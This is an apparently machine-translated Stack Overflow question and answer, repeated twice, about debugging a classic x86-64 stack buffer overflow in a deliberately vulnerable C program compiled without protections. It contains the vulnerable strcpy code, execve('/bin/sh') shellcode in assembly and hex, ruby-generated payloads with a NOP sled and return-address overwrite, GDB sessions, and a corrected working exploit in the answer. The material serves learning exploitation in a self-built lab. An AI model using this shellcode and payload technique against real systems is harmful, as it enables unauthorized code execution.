shellcode 中的系统调用不会 运行
Syscall inside shellcode won't run
注意:我已经在 Whosebug 中用葡萄牙语问过这个问题:https://pt.whosebug.com/questions/76571/seguran%C3%A7a-syscall-dentro-de-shellcode-n%C3%A3o-executa。但这道题好像真的很难,所以这题只是葡萄牙语的翻译。
我正在研究信息安全并进行一些实验,试图利用 缓冲区溢出的典型案例。
我已经成功创建了 shell代码,将其注入易受攻击的程序并执行。我的问题是系统调用 execve()
以获得 shell 不起作用。
更多详情:
这是易受攻击程序的代码(在 Ubuntu 15.04 x88-64 中编译,具有以下 gcc 标志:“-fno-stack-protector -z execstack -g”和 ASLR已关闭):
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int do_bof(char *exploit) {
char buf[128];
strcpy(buf, exploit);
return 1;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
puts("Usage: bof <any>");
return 0;
}
do_bof(argv[1]);
puts("Failed to exploit.");
return 0;
}
这是一个生成 shell 然后退出的小型汇编程序。 请注意,此代码将独立运行。这是:如果我单独使用 assemble、link 和 运行 这段代码,它将起作用。
global _start
section .text
_start:
jmp short push_shell
starter:
pop rdi
mov al, 59
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
syscall
xor al, al
mov BYTE [rdi], al
mov al, 60
syscall
push_shell:
call starter
shell:
db "/bin/sh"
这是上述程序的 objdump -d -M intel 的输出,其中 shellcode 是从中提取的(注意:语言输出是葡萄牙语):
spawn_shell.o: formato do arquivo elf64-x86-64
Desmontagem da seção .text:
0000000000000000 <_start>:
0: eb 16 jmp 18 <push_shell>
0000000000000002 <starter>:
2: 5f pop rdi
3: b0 3b mov al,0x3b
5: 48 31 f6 xor rsi,rsi
8: 48 31 d2 xor rdx,rdx
b: 48 31 c9 xor rcx,rcx
e: 0f 05 syscall
10: 30 c0 xor al,al
12: 88 07 mov BYTE PTR [rdi],al
14: b0 3c mov al,0x3c
16: 0f 05 syscall
0000000000000018 <push_shell>:
18: e8 e5 ff ff ff call 2 <starter>
000000000000001d <shell>:
1d: 2f (bad)
1e: 62 (bad)
1f: 69 .byte 0x69
20: 6e outs dx,BYTE PTR ds:[rsi]
21: 2f (bad)
22: 73 68 jae 8c <shell+0x6f>
此命令将是有效负载,它会注入 shell 代码以及所需的 nop sleed 和 return 地址,该地址将覆盖原始 return 地址:
ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'
到目前为止,我已经非常仔细地调试了带有 shell 代码注入的程序,注意 RIP 寄存器以查看执行出错的地方。我发现:
- return地址被正确覆盖,执行跳转到我的shell代码。
- 执行正常,直到我的汇编程序的 "e:" 行发生对
execve()
的系统调用。
- 系统调用根本不起作用,即使寄存器已正确设置为进行系统调用也是如此。奇怪的是,这一行之后,RAX和RCX寄存器位都设置好了
结果是执行到非条件跳转,再次压入shell的地址,并开始无限循环,直到程序在SEGFAULT中崩溃。
这是主要问题:系统调用不起作用。
一些注意事项:
- 有人会说我的“/bin/sh”字符串需要以空字符结尾。好吧,这似乎没有必要,nasm 似乎隐含地放置了一个空字节,而且我的汇编程序可以正常工作,正如我所说的。
- 记住它是 64 位 shell代码。
此shell代码适用于以下代码:
char shellcode[] = "\xeb\x0b\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main() {
void (*func)();
func = (void (*)()) shellcode;
(void)(func)();
}
我的 shell 代码有什么问题?
编辑 1:
感谢Jester的解答,第一个问题解决了。此外,我发现 shell 代码没有单独工作的要求。 shell代码的新汇编代码是:
spawn_shell: formato do arquivo elf64-x86-64
Desmontagem da seção .text:
0000000000400080 <_start>:
400080: eb 1e jmp 4000a0 <push_shell>
0000000000400082 <starter>:
400082: 5f pop %rdi
400083: 48 31 c0 xor %rax,%rax
400086: 88 47 07 mov %al,0x7(%rdi)
400089: b0 3b mov [=16=]x3b,%al
40008b: 48 31 f6 xor %rsi,%rsi
40008e: 48 31 d2 xor %rdx,%rdx
400091: 48 31 c9 xor %rcx,%rcx
400094: 0f 05 syscall
400096: 48 31 c0 xor %rax,%rax
400099: 48 31 ff xor %rdi,%rdi
40009c: b0 3c mov [=16=]x3c,%al
40009e: 0f 05 syscall
00000000004000a0 <push_shell>:
4000a0: e8 dd ff ff ff callq 400082 <starter>
4000a5: 2f (bad)
4000a6: 62 (bad)
4000a7: 69 .byte 0x69
4000a8: 6e outsb %ds:(%rsi),(%dx)
4000a9: 2f (bad)
4000aa: 73 68 jae 400114 <push_shell+0x74>
如果我 assemble 和 link 它,它不会工作,但如果将它作为有效负载注入另一个程序,它会!为什么?因为如果我单独 运行 这个程序,它会尝试终止一个已经以 NULL 结尾的字符串“/bin/sh”。 OS 似乎对汇编程序也进行了初始设置。但是,如果我注入 shell 代码,则情况并非如此:我的系统调用没有成功的真正原因是“/bin/sh”字符串在 [=116= 中不是 NULL 终止的]time,但它作为一个独立的程序工作,因为在这种情况下,它被 NULL 终止。
因此,您 shell 将 运行 编码为独立程序并不能证明它有效。
利用成功了……至少在 GDB 中是这样。现在我遇到了一个新问题:漏洞利用在 GDB 内部有效,但在外部无效。
$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\ x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 13952 está executando novo programa: /bin/dash
$ ls
bof bof2.c bof3_env bof3_new_shellcode.txt bof3_shellcode.txt get_shell shellcode_exit shellcode_hello.c shellcode_shell2
bof.c bof3 bof3_env.c bof3_non_dbg func_stack get_shell.c shellcode_exit.c shellcode_shell shellcode_shell2.c
bof2 bof3.c bof3_gdb_env bof3_run_env func_stack.c shellcode_bof.c shellcode_hello shellcode_shell.c
$ exit
[Inferior 1 (process 13952) exited normally]
(gdb)
外面:
$ ./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
fish: Job 1, “./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')” terminated by signal SIGSEGV (Address boundary error)
我马上搜索了一下,发现了这个问题:Buffer overflow works in gdb but not without it
最初我认为这只是取消设置两个环境变量并发现一个新的 return 地址的问题,但是取消设置两个变量并没有产生最小的差异:
$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) unset env COLUMNS
(gdb) unset env LINES
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 14670 está executando novo programa: /bin/dash
$
现在,这是第二个问题:为什么漏洞利用在 GDB 内部有效,但在外部无效?
问题是mov al,0x3b
。您忘记将最高位归零,因此如果它们不为零,您将不会执行 execve
系统调用,而是执行其他操作。简单的调试应该已经向您指出了这一点。解决方案很简单:只需在此之前插入 xor eax, eax
即可。此外,由于您将 return 地址附加到漏洞利用程序,因此该字符串将不再以零结尾。它也很容易修复,通过在运行时存储一个零,例如在清除 eax
.
之后使用 mov [rdi + 7], al
完整的漏洞利用程序可能如下所示:
ruby -e 'print "\x90" * 98 + "\xeb\x18\x5f\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'
开头部分对应:
jmp short push_shell
starter:
pop rdi
xor eax, eax
mov [rdi + 7], al
mov al, 59
请注意,由于代码大小的变化,jmp
和末尾的 call
的偏移量也必须更改,nop
指令的数量也是。
上面的代码(针对我的系统调整了 return 地址)在这里工作正常。
注意:我已经在 Whosebug 中用葡萄牙语问过这个问题:https://pt.whosebug.com/questions/76571/seguran%C3%A7a-syscall-dentro-de-shellcode-n%C3%A3o-executa。但这道题好像真的很难,所以这题只是葡萄牙语的翻译。
我正在研究信息安全并进行一些实验,试图利用 缓冲区溢出的典型案例。
我已经成功创建了 shell代码,将其注入易受攻击的程序并执行。我的问题是系统调用 execve()
以获得 shell 不起作用。
更多详情:
这是易受攻击程序的代码(在 Ubuntu 15.04 x88-64 中编译,具有以下 gcc 标志:“-fno-stack-protector -z execstack -g”和 ASLR已关闭):
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int do_bof(char *exploit) {
char buf[128];
strcpy(buf, exploit);
return 1;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
puts("Usage: bof <any>");
return 0;
}
do_bof(argv[1]);
puts("Failed to exploit.");
return 0;
}
这是一个生成 shell 然后退出的小型汇编程序。 请注意,此代码将独立运行。这是:如果我单独使用 assemble、link 和 运行 这段代码,它将起作用。
global _start
section .text
_start:
jmp short push_shell
starter:
pop rdi
mov al, 59
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
syscall
xor al, al
mov BYTE [rdi], al
mov al, 60
syscall
push_shell:
call starter
shell:
db "/bin/sh"
这是上述程序的 objdump -d -M intel 的输出,其中 shellcode 是从中提取的(注意:语言输出是葡萄牙语):
spawn_shell.o: formato do arquivo elf64-x86-64
Desmontagem da seção .text:
0000000000000000 <_start>:
0: eb 16 jmp 18 <push_shell>
0000000000000002 <starter>:
2: 5f pop rdi
3: b0 3b mov al,0x3b
5: 48 31 f6 xor rsi,rsi
8: 48 31 d2 xor rdx,rdx
b: 48 31 c9 xor rcx,rcx
e: 0f 05 syscall
10: 30 c0 xor al,al
12: 88 07 mov BYTE PTR [rdi],al
14: b0 3c mov al,0x3c
16: 0f 05 syscall
0000000000000018 <push_shell>:
18: e8 e5 ff ff ff call 2 <starter>
000000000000001d <shell>:
1d: 2f (bad)
1e: 62 (bad)
1f: 69 .byte 0x69
20: 6e outs dx,BYTE PTR ds:[rsi]
21: 2f (bad)
22: 73 68 jae 8c <shell+0x6f>
此命令将是有效负载,它会注入 shell 代码以及所需的 nop sleed 和 return 地址,该地址将覆盖原始 return 地址:
ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'
到目前为止,我已经非常仔细地调试了带有 shell 代码注入的程序,注意 RIP 寄存器以查看执行出错的地方。我发现:
- return地址被正确覆盖,执行跳转到我的shell代码。
- 执行正常,直到我的汇编程序的 "e:" 行发生对
execve()
的系统调用。 - 系统调用根本不起作用,即使寄存器已正确设置为进行系统调用也是如此。奇怪的是,这一行之后,RAX和RCX寄存器位都设置好了
结果是执行到非条件跳转,再次压入shell的地址,并开始无限循环,直到程序在SEGFAULT中崩溃。
这是主要问题:系统调用不起作用。
一些注意事项:
- 有人会说我的“/bin/sh”字符串需要以空字符结尾。好吧,这似乎没有必要,nasm 似乎隐含地放置了一个空字节,而且我的汇编程序可以正常工作,正如我所说的。
- 记住它是 64 位 shell代码。
此shell代码适用于以下代码:
char shellcode[] = "\xeb\x0b\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { void (*func)(); func = (void (*)()) shellcode; (void)(func)(); }
我的 shell 代码有什么问题?
编辑 1:
感谢Jester的解答,第一个问题解决了。此外,我发现 shell 代码没有单独工作的要求。 shell代码的新汇编代码是:
spawn_shell: formato do arquivo elf64-x86-64
Desmontagem da seção .text:
0000000000400080 <_start>:
400080: eb 1e jmp 4000a0 <push_shell>
0000000000400082 <starter>:
400082: 5f pop %rdi
400083: 48 31 c0 xor %rax,%rax
400086: 88 47 07 mov %al,0x7(%rdi)
400089: b0 3b mov [=16=]x3b,%al
40008b: 48 31 f6 xor %rsi,%rsi
40008e: 48 31 d2 xor %rdx,%rdx
400091: 48 31 c9 xor %rcx,%rcx
400094: 0f 05 syscall
400096: 48 31 c0 xor %rax,%rax
400099: 48 31 ff xor %rdi,%rdi
40009c: b0 3c mov [=16=]x3c,%al
40009e: 0f 05 syscall
00000000004000a0 <push_shell>:
4000a0: e8 dd ff ff ff callq 400082 <starter>
4000a5: 2f (bad)
4000a6: 62 (bad)
4000a7: 69 .byte 0x69
4000a8: 6e outsb %ds:(%rsi),(%dx)
4000a9: 2f (bad)
4000aa: 73 68 jae 400114 <push_shell+0x74>
如果我 assemble 和 link 它,它不会工作,但如果将它作为有效负载注入另一个程序,它会!为什么?因为如果我单独 运行 这个程序,它会尝试终止一个已经以 NULL 结尾的字符串“/bin/sh”。 OS 似乎对汇编程序也进行了初始设置。但是,如果我注入 shell 代码,则情况并非如此:我的系统调用没有成功的真正原因是“/bin/sh”字符串在 [=116= 中不是 NULL 终止的]time,但它作为一个独立的程序工作,因为在这种情况下,它被 NULL 终止。
因此,您 shell 将 运行 编码为独立程序并不能证明它有效。
利用成功了……至少在 GDB 中是这样。现在我遇到了一个新问题:漏洞利用在 GDB 内部有效,但在外部无效。
$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\ x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 13952 está executando novo programa: /bin/dash
$ ls
bof bof2.c bof3_env bof3_new_shellcode.txt bof3_shellcode.txt get_shell shellcode_exit shellcode_hello.c shellcode_shell2
bof.c bof3 bof3_env.c bof3_non_dbg func_stack get_shell.c shellcode_exit.c shellcode_shell shellcode_shell2.c
bof2 bof3.c bof3_gdb_env bof3_run_env func_stack.c shellcode_bof.c shellcode_hello shellcode_shell.c
$ exit
[Inferior 1 (process 13952) exited normally]
(gdb)
外面:
$ ./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
fish: Job 1, “./bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')” terminated by signal SIGSEGV (Address boundary error)
我马上搜索了一下,发现了这个问题:Buffer overflow works in gdb but not without it
最初我认为这只是取消设置两个环境变量并发现一个新的 return 地址的问题,但是取消设置两个变量并没有产生最小的差异:
$ gdb -q bof3
Lendo símbolos de bof3...concluído.
(gdb) unset env COLUMNS
(gdb) unset env LINES
(gdb) r (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
Starting program: /home/sidao/h4x0r/C-CPP-Projects/security/bof3 (ruby -e 'print "\x90" * 92 + "\xeb\x1e\x5f\x48\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x48\x31\xc9\x0f\x05\x48\x31\xc0\x48\x31\xff\xb0\x3c\x0f\x05\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\x70\xd8\xff\xff\xff\x7f"')
process 14670 está executando novo programa: /bin/dash
$
现在,这是第二个问题:为什么漏洞利用在 GDB 内部有效,但在外部无效?
问题是mov al,0x3b
。您忘记将最高位归零,因此如果它们不为零,您将不会执行 execve
系统调用,而是执行其他操作。简单的调试应该已经向您指出了这一点。解决方案很简单:只需在此之前插入 xor eax, eax
即可。此外,由于您将 return 地址附加到漏洞利用程序,因此该字符串将不再以零结尾。它也很容易修复,通过在运行时存储一个零,例如在清除 eax
.
mov [rdi + 7], al
完整的漏洞利用程序可能如下所示:
ruby -e 'print "\x90" * 98 + "\xeb\x18\x5f\x31\xc0\x88\x47\x07\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'
开头部分对应:
jmp short push_shell
starter:
pop rdi
xor eax, eax
mov [rdi + 7], al
mov al, 59
请注意,由于代码大小的变化,jmp
和末尾的 call
的偏移量也必须更改,nop
指令的数量也是。
上面的代码(针对我的系统调整了 return 地址)在这里工作正常。